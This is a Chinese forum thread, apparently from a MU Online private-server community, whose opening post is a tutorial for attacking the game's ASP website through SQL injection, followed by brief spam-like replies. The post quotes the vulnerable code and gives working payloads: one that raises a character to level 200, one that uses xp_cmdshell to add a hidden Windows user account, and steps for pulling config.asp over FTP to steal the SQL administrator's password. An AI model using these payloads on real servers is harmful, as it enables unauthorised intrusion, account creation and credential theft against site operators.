登录注册
最新帖子 精华区 社区银行 兑换中心 道具中心 勋章中心 统计排行
主题 : 入侵奇迹网页漏洞
zuiq 离线
级别: 中学生
UID: 199934
精华: 0
发帖: 67
钱币: 291 圆
威望: 0 点
贡献值: 56 点
交易币: 0 圆
在线时间: 18(时)
注册时间: 2019-04-16
最后登录: 2019-04-27
0  发表于: 2019-04-25   
来源于 文章 分类

入侵奇迹网页漏洞

管理提醒: 本帖被 admin 从 【奇迹】技术研究 移动到本区(2019-04-25)
在一些.asp中,没有对userchr进行过滤,导致SQL注入.. 不给你文件名!自己找吧!
<!--#include file="conn.asp" -->
<!--#include file="top.asp" -->

<%

n=request.form("username")

p=request.form("userchr")

if instr(n,"\'")<>0 then response.end

if instr(n,"=")<>0 then response.end

if instr(n,"%")<>0 then response.end

if n<>"" and p<>"" then

set rs1 = Server.CreateObject("ADODB.Recordset")

sql="select * from Character where AccountID=\'"&n&"\' and Name=\'"&p&"\' and pklevel<>3"

rs1.open sql,conn,1,3

只对username进行了过滤,不够严密饿.:)

下面把clearpk.asp 另存为本地htm文件,然后把action="clearPK.asp"改为action="http://服务器/clearpk.asp,,把表单项里的maxlength去掉..OK..

角色名称里输入: XX\';update character set clevel=200 where accountID=\'YOUID\';-- 在用户名里输入:haha

好了,你的人物已经200级了饿..

如过管理员未对xp_cmdshell存储过程进行限止,那么你还可以把上面的语句换为: XX\';exec master..xp_cmdshell \'net user hu_ti$ 123 /add\';--

加了一个用户..

测试发现,大部分的管理员都是进行远程管理..(FTP管理),

所以你在得到了一个合法用户以后可以ftp XXXX(服务器IP)->登陆->get config.asp;

config.asp记录了SQL管理员的用户名和密码.

最后下载个SQL远程执行系统命令的程序。

这样便可以达到我们的目地!
xijierer 离线
级别: 高中生
UID: 199944
精华: 0
发帖: 2169
钱币: 2169 圆
威望: 0 点
贡献值: 0 点
交易币: 0 圆
在线时间: 140(时)
注册时间: 2019-04-24
最后登录: 2019-06-15
1  发表于: 2019-04-27   
奇迹服务器中大部分商店装备道具代码分享
级别: 中学生
UID: 199945
精华: 0
发帖: 270
钱币: 270 圆
威望: 0 点
贡献值: 0 点
交易币: 0 圆
在线时间: 42(时)
注册时间: 2019-04-24
最后登录: 2019-04-28
2  发表于: 2019-04-27   
最新奇迹风之恋怪物刷新工具4.0
ct1983 离线
级别: 高中生
UID: 199948
精华: 0
发帖: 2299
钱币: 2299 圆
威望: 0 点
贡献值: 0 点
交易币: 0 圆
在线时间: 157(时)
注册时间: 2019-04-26
最后登录: 2019-06-16
3  发表于: 2019-04-28   
呵呵,低调,低调!
xijierer 离线
级别: 高中生
UID: 199944
精华: 0
发帖: 2169
钱币: 2169 圆
威望: 0 点
贡献值: 0 点
交易币: 0 圆
在线时间: 140(时)
注册时间: 2019-04-24
最后登录: 2019-06-15
4  发表于: 2019-04-30   
最新奇迹风之恋怪物刷新工具4.0
ct1983 离线
级别: 高中生
UID: 199948
精华: 0
发帖: 2299
钱币: 2299 圆
威望: 0 点
贡献值: 0 点
交易币: 0 圆
在线时间: 157(时)
注册时间: 2019-04-26
最后登录: 2019-06-16
5  发表于: 2019-04-30   
这就是传说中坐沙发的感觉吗?好鸡动!!!
zxtl 离线
级别: 高中生
UID: 199950
精华: 0
发帖: 3104
钱币: 3104 圆
威望: 0 点
贡献值: 0 点
交易币: 0 圆
在线时间: 414(时)
注册时间: 2019-04-28
最后登录: 2019-06-16
6  发表于: 2019-05-01   
不错不错学习下
aisuo 离线
级别: 高中生
UID: 199955
精华: 0
发帖: 2365
钱币: 2365 圆
威望: 0 点
贡献值: 0 点
交易币: 0 圆
在线时间: 243(时)
注册时间: 2019-05-04
最后登录: 2019-06-15
7  发表于: 2019-05-04   
奇迹网站系统支持虚拟空间架设5套模块
aisuo 离线
级别: 高中生
UID: 199955
精华: 0
发帖: 2365
钱币: 2365 圆
威望: 0 点
贡献值: 0 点
交易币: 0 圆
在线时间: 243(时)
注册时间: 2019-05-04
最后登录: 2019-06-15
8  发表于: 2019-05-09   
看看如何
qq63135 离线
级别: 高中生
UID: 199939
精华: 0
发帖: 3721
钱币: 3721 圆
威望: 0 点
贡献值: 0 点
交易币: 0 圆
在线时间: 226(时)
注册时间: 2019-04-18
最后登录: 2019-06-14
9  发表于: 2019-05-10   
新手奇迹gm必学攻略如何修改gate进入天空方法
描述
快速回复

验证问题:
无度奇迹论坛地址 正确答案:bbs.745v.com
按"Ctrl+Enter"直接提交